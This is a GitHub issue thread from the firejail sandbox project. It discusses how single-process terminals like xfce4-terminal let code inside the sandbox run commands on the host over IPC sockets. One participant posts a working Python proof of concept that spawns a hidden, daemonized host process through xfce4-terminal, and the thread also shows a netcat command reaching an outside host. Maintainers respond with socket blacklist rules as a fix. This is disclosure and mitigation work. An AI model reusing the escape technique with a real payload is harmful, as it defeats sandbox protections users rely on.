netblue30 / firejail

Linux namespaces and seccomp-bpf sandbox
https://firejail.wordpress.com
GNU General Public License v2.0
5.7k stars 558 forks source link

Jail "escape" with xfce4-terminal? #240

Closed io7m closed 8 years ago

io7m commented 8 years ago

Hello. I'm evaluating firejail to replace my current browser setup. I'm using version 0430643b36669aeaf4ea3b9ff31eb092c92b48dc from git on Arch Linux.

$ firejail --private --net=none 
Reading profile /opt/firejail/etc/firejail/generic.profile
Reading profile /opt/firejail/etc/firejail/disable-mgmt.inc
Reading profile /opt/firejail/etc/firejail/disable-secret.inc
Reading profile /opt/firejail/etc/firejail/disable-common.inc
Warning: user namespaces not available in the current kernel.

** Note: you can use --noprofile to disable generic.profile **

Parent pid 339, child pid 341
Warning: /sbin directory link was not blacklisted
Warning: /usr/sbin directory link was not blacklisted
Child process initialized
[someone@copperhead ~]$ xfce4-terminal

At this point a terminal pops up onscreen and in it, I can access the full system outside of the jail, including my real home directory. It's also possible to do:

[someone@copperhead ~]$ xfce4-terminal -e 'nc -vvv google.com 80'

... and get a terminal that connects to google.com.

The terminal that is started in both cases is started outside of the jail, so there's no ability to directly communicate to the process from the jail once it's started. No doubt an actual attacker would find a way to work around this limitation (can still execute arbitrary commands on the host).

netblue30 commented 8 years ago

Yes, because xfce terminal is running as a single process. If you have multiple windows open, all of them are handled by the same process. You have to make sure the first terminal is started inside the sandbox.

This is the case with most terminals. An exception is the good old xterm. Some other programs such as Firefox have the same problem. In the case of Firefox, they provide a command line option to open a separate process, --no-remote.

io7m commented 8 years ago

Yes, I assumed that this was the case.

Is there a way to mitigate the problem? I don't know the exact mechanism involved, but I assume it involves dbus...

io7m commented 8 years ago

Perhaps mounting an empty tmpfs directory over /run in the same way private home directories are created.

genodeftest commented 8 years ago

I suggest 2 different solutions (depending on the use case):

  1. Update to latest versions of firejail with support for Symlink Invocation. Then you need to create a symlink in /usr/local/bin named xfce4-terminal (or whatever your executable is) on the firejail executable. Every instance of xfce4-terminal will now be firejailed.
  2. If you just want a few instances of xfce4-terminal firejailed, you'll need to figure out how to start a new instance of xfce4-terminal. Some applications provide command line switches like --new-instance, consult xfce4-terminal --help. You'll probably want a separate starter .desktop file for that.
io7m commented 8 years ago

I think the wrong point is being made here.

I was making the point that for a given default firejail (assuming the firefox profile, for example), if an attacker manages to get an unprivileged shell (possibly due to an exploit in firefox), then the attacker can effectively escape the sandbox if they can find a program like xfce4-terminal that works in this manner and that happens to be currently running on the host.

I'm looking for mitigations for this problem and the ability to deny by default, rather than trying to sandbox specific programs as suggested.

We're talking about Linux here, so the main IPC mechanisms are IP, unix domain sockets, or shared memory. IP can be locked down by specifying nonet. Unix domain sockets can be locked down by forbidding access to as much of the host filesystem as possible (don't allow access to the host's /run in the jail, or preferably whitelist the bare minimum host directories). Shared memory can supposedly be restricted by namespaces, but I don't know how this works.

genodeftest commented 8 years ago

I understand. You basically say an application with a firejail profile can be used to drop the jail.

Leaving all child processes inside the same jail might break them. This would be the conservative way to go. How about adding a whitelist to that? e.g. your web browser might open a pdf reader for convenience…

Disallowing child processes at all might break applications. Firefox e.g. requires to be able to fork() and exec(). This would be the most secure way to go.

the8472 commented 8 years ago

child processes are not the issue, IPC mechanisms being able to communicate with the outside of the sandbox are.

Unix domain sockets can be locked down by forbidding access to as much of the host filesystem as possible

Or by completely disabling unix sockets. firejail --noprofile --protocol=inet,inet6

netblue30 commented 8 years ago

You cannot disable the Unix sockets, X11 is connected over such a socket. Firefox will not start.

In my opinion, the attacker will stay away from terminals. An xfce terminal is pretty visible on user desktop, and it is unclear to me how will he be able to manage the new window. All he needs is a stealth /bin/bash or /bin/sh session that will call home and open a terminal session on the attacker's computer. From there he can try to do whatever, but he will still be restricted by seccomp and all other security mechanisms imposed by the sandbox.

the8472 commented 8 years ago

the attacker will stay away from terminals

Well, the issue is not specific to xfce. Services outside the sandbox offered via IPC are a general concern.

You cannot disable the Unix sockets, X11 is connected over such a socket.

Would it be possible to use seccomp to whitelist paths used to open the socket? Similar to bsd's pledge.

That way the decision about unix sockets wouldn't be binary.

Securing X11 is a separate concern of course (#57).

netblue30 commented 8 years ago

IPC namespace is not enabled in the sandbox, it will break X11. There is no support in Linux kernel to selectively disable Unix sockets. You can disable filesystem-based Unix sockets using --blacklist, but you cannot control the abstract sockets without breaking X11.

$ netstat -a | grep X11
unix  2      [ ACC ]     STREAM     LISTENING     12796    /tmp/.X11-unix/X0
unix  2      [ ACC ]     STREAM     LISTENING     12795    @/tmp/.X11-unix/X0

If you do netstat -a, the sockets starting with @ are abstract. You can look for xfce-terminal sockets and disable them if they are not abstract.

ssokolow commented 8 years ago

@netblue30

Actually, it's a perfectly reasonable concern. While it's tricky to get right, it's perfectly possible to launch a terminal window/tab which lives only long enough (a fraction of a second) to launch its own child process in the background and then exit.

I'd say this would be one of the first things an attacker might consider if sandboxing is to be more than "security by obscurity".

netblue30 commented 8 years ago

Well, such an attach needs to be demonstrated first outside the sandbox.

ssokolow commented 8 years ago

I'm running up against the end of my free time right now, but I'll try to put together a proof of concept either today or tomorrow.

netblue30 commented 8 years ago

Sure, no problem. These are some socket attacks I already know about:

ssokolow commented 8 years ago

I decided I couldn't wait. Here's your proof of concept.

Given time, I could probably redesign it a shell one-liner to make it harder for something like disable-devel.inc to blacklist without breaking things, but this was quicker for a POC and disable-devel.inc currently neglects to disallow Python despite it being present by default on all "desktop-ready out of the box" distros I've tried.

#!/usr/bin/env python

import glob, os, subprocess, sys, time

# - Daemonizing code borrowed from
#   http://www.jejik.com/articles/2007/02/a_simple_unix_linux_daemon_in_python/

# Self-orphan so only /sbin/init will wait() for us
pid = os.fork()
time.sleep(0.05) # Work around some kind of race condition
if pid > 0:
    sys.exit(0)
os.setsid()
pid = os.fork()
if pid > 0:
    sys.exit(0)

# Detach stdin/stdout/stderr from the terminal
for descr in (sys.stdin, sys.stdout, sys.stderr):
    if descr is not sys.stdin:
        descr.flush()
    fobj = open(os.devnull, 'r' if descr is sys.stdin else 'a+')
    os.dup2(fobj.fileno(), descr.fileno())

# - End daemonizing code -

# Do something malicious like playing every desktop sound on the user's system
# with no apparent Stop button
subprocess.call(["ogg123"] + glob.glob("/usr/share/sounds/*.ogg"))

Usage: Use some kind of exploit to...

  1. Download this as do_nasty_thing.py where it won't be noticed.
  2. Run xfce4-terminal --geometry=1x1+0+0 --hide-menubar --hide-borders --hide-toolbar -x python do_nasty_thing.py

If you're paying attention, you'll notice as a tiny square in the top-left corner of the screen flickers black/white for a split second but then the ogg123 subprocess continues walking through your system sounds long after it's gone.

Note: There's some kind of race condition I haven't tracked down yet. On my system, without the time.sleep(0.05) line, it would only trigger one time in five. I chose the 0.05 number because it seems to be enough to make it trigger reliably while not perceptibly increasing the time the terminal window is visible. If it doesn't trigger reliably for you, try increasing that number.

netblue30 commented 8 years ago

We need to find all Unix sockets opened by terminal programs (xfce-terminal, gnome-terminal etc.) and blacklist them if possible. Can you guys please take a look at netstat -a output, something like this:

$ netstat -a | grep lx
unix  2      [ ACC ]     STREAM     LISTENING     14875    /tmp/.lxterminal-socket:0.0-netblue
unix  2      [ ]         STREAM     CONNECTED     386506   /tmp/.lxterminal-socket:0.0-netblue
unix  2      [ ]         STREAM     CONNECTED     392072   /tmp/.lxterminal-socket:0.0-netblue
unix  2      [ ]         STREAM     CONNECTED     40817    /tmp/.lxterminal-socket:0.0-netblue
[...]

In my case I have a socket open by lxterminal (LXDE). Thanks.

ssokolow commented 8 years ago

There are a lot of niche terminal programs out there and a blacklist is an easy way to build a false sense of security. (Especially when domain sockets are likely to be a less familiar construct for potential ruleset-writers than filesystem paths or TCP/UDP sockets)

What are your plans to ensure that blacklisting doesn't accidentally prevent testing from catching the need for properly-tuned whitelists?

netblue30 commented 8 years ago

Without a new kernel module or some heavy modifications in the kernel, the only thing we can do in user space is to blacklist sockets as they are discovered.

Another solution would be to use firejail on top of some mandatory access control framework (grsecurity, selinux, apparmor) that allows filtering of unix sockets.

ssokolow commented 8 years ago

Ahh. Well, better than nothing, I suppose.

Also, for the record, I noticed that urxvt can be run in daemonized mode while I was setting mine up but I don't use it that way.

netblue30 commented 8 years ago

I am looking at a openSUSE box running XFCE, it is absolutely nutz:

$ netstat -a | grep LISTENING
tcp        0      0 *:ssh                   *:*                     LISTEN      
tcp        0      0 localhost:ipp           *:*                     LISTEN      
tcp        0      0 localhost:smtp          *:*                     LISTEN      
tcp        0      0 *:ssh                   *:*                     LISTEN      
tcp        0      0 localhost:ipp           *:*                     LISTEN      
tcp        0      0 localhost:smtp          *:*                     LISTEN      
unix  2      [ ACC ]     STREAM     LISTENING     18665  public/showq
unix  2      [ ACC ]     STREAM     LISTENING     18668  private/error
unix  2      [ ACC ]     STREAM     LISTENING     18671  private/retry
unix  2      [ ACC ]     STREAM     LISTENING     15833  @/tmp/.ICE-unix/1223
unix  2      [ ACC ]     STREAM     LISTENING     18674  private/discard
unix  2      [ ACC ]     STREAM     LISTENING     18677  private/local
unix  2      [ ACC ]     STREAM     LISTENING     18680  private/virtual
unix  2      [ ACC ]     STREAM     LISTENING     18683  private/lmtp
unix  2      [ ACC ]     STREAM     LISTENING     18686  private/anvil
unix  2      [ ACC ]     STREAM     LISTENING     18689  private/scache
unix  2      [ ACC ]     STREAM     LISTENING     13928  @/tmp/.X11-unix/X0
unix  2      [ ACC ]     STREAM     LISTENING     6954   /run/systemd/journal/stdout
unix  2      [ ACC ]     STREAM     LISTENING     15474  @/tmp/dbus-nQ1HQ0rr
unix  2      [ ACC ]     STREAM     LISTENING     13929  /tmp/.X11-unix/X0
unix  2      [ ACC ]     STREAM     LISTENING     15565  /tmp/ssh-MlikvQ7RtBnR/agent.941
unix  2      [ ACC ]     STREAM     LISTENING     15834  /tmp/.ICE-unix/1223
unix  2      [ ACC ]     STREAM     LISTENING     15425  @/tmp/dbus-HDt11grh18
unix  2      [ ACC ]     STREAM     LISTENING     15972  /run/user/1000/keyring/control
unix  2      [ ACC ]     STREAM     LISTENING     15974  /run/user/1000/keyring/ssh
unix  2      [ ACC ]     STREAM     LISTENING     9575   /run/lvm/lvmetad.socket
unix  2      [ ACC ]     STREAM     LISTENING     15976  /run/user/1000/keyring/gpg
unix  2      [ ACC ]     STREAM     LISTENING     15784  @/tmp/dbus-e739tN0xI1
unix  2      [ ACC ]     STREAM     LISTENING     16000  /run/user/1000/keyring/pkcs11
unix  2      [ ACC ]     STREAM     LISTENING     9403   /run/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING     13245  /var/run/nscd/socket
unix  2      [ ACC ]     STREAM     LISTENING     12732  /run/dbus/system_bus_socket
unix  2      [ ACC ]     STREAM     LISTENING     12735  @ISCSIADM_ABSTRACT_NAMESPACE
unix  2      [ ACC ]     STREAM     LISTENING     12736  /var/run/pcscd/pcscd.comm
unix  2      [ ACC ]     STREAM     LISTENING     15043  /run/user/1000/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING     12739  /run/avahi-daemon/socket
unix  2      [ ACC ]     SEQPACKET  LISTENING     9679   /run/udev/control
unix  2      [ ACC ]     STREAM     LISTENING     18630  public/cleanup
unix  2      [ ACC ]     STREAM     LISTENING     18635  private/rewrite
unix  2      [ ACC ]     STREAM     LISTENING     18638  private/bounce
unix  2      [ ACC ]     STREAM     LISTENING     18641  private/defer
unix  2      [ ACC ]     STREAM     LISTENING     18644  private/trace
unix  2      [ ACC ]     STREAM     LISTENING     18647  private/verify
unix  2      [ ACC ]     STREAM     LISTENING     18650  public/flush
unix  2      [ ACC ]     STREAM     LISTENING     18653  private/proxymap
unix  2      [ ACC ]     STREAM     LISTENING     18171  /run/cups/cups.sock
unix  2      [ ACC ]     STREAM     LISTENING     18656  private/proxywrite
unix  2      [ ACC ]     STREAM     LISTENING     18659  private/smtp
unix  2      [ ACC ]     STREAM     LISTENING     18662  private/relay
the8472 commented 8 years ago

I think seccomp can notify a ptrace tracer and then inspect the syscall arguments (i.e. the socket name) via PTRACE_GETREGS/PTRACE_PEEKDATA and then decide whether to allow the syscall, return an error or kill the process.

So it might be possible to whitelist unix socket access, but it would be non-trivial to get it right since you would have to poke around in a different process.

netblue30 commented 8 years ago

I ended up blacklisting some of the terminals in etc/disable-common.inc:

# disable terminals running as server
blacklist ${PATH}/lxterminal
blacklist ${PATH}/gnome-terminal
blacklist ${PATH}/gnome-terminal.wrapper
blacklist ${PATH}/xfce4-terminal
blacklist ${PATH}/xfce4-terminal.wrapper
blacklist ${PATH}/konsole

I think the problem is common to all terminals implementing tabs. I put in the terminals for the main desktop environments, there are more to come.

vn971 commented 8 years ago

@netblue30 would it be possible to just use private-tmp by default? It seems like a more appropriate solution because it does not rely on some "magical terminal list" knowledge.

The only problem I see with private-tmp is that it conflicts with --net=none. If you have both private-tmp and --net=none, X11 applications won't start because they will now know how to connect to X11.

So, proposed solution:

Would that work? I think it might. Thoughts?

UPDATE: see 2 comments below a more simple solution.

netblue30 commented 8 years ago

This is the status:

  1. xfce4-terminal and gnome-terminal communicate over DBus (abstract Unix socket). The only way to stop it is to use a network namespace (--net=...). You have to make sure the first instance is sandboxed. Any other terminal open after that will open in the first instance. So far I've just blacklisted xfce4-terminal and gnome-terminal.
  2. lxterminal (LXDE) communicates over a regular Unix socket in /tmp, this is already masked in lxterminal profile.
  3. konsole (KDE) and xterm run independently, no masking necessary.
vn971 commented 8 years ago

@netblue30 interesting. I misunderstood how xfce4-terminal and gnome-terminal work. Still, there may be other terminals and applications like lxterminal. A good /tmp may still be needed, won't it? If sandboxing /tmp has no downsides, why not sandbox it by default? (Note that I may not know some downsides of sandboxing /tmp. But as far as I can tell, it'd be OK.)

vn971 commented 8 years ago

UPDATE: Further investigation showed that, in order to sandbox the /tmp communication, one of the following is enough: whitelist /tmp/.X11-unix or private-tmp The first alternative allows X11 to be used (but no other means of /tmp communication), while the second alternative will forbid X11 (together with --net=none, it will make applications unable to use a GUI).

netblue30 commented 8 years ago

If sandboxing /tmp has no downsides, why not sandbox it by default?

On older distro versions, some applications (PulseAudio etc) used to keep Unix sockets under /tmp. In the newer versions they started moving the sockets to /run, but there are still applications with sockets under /tmp.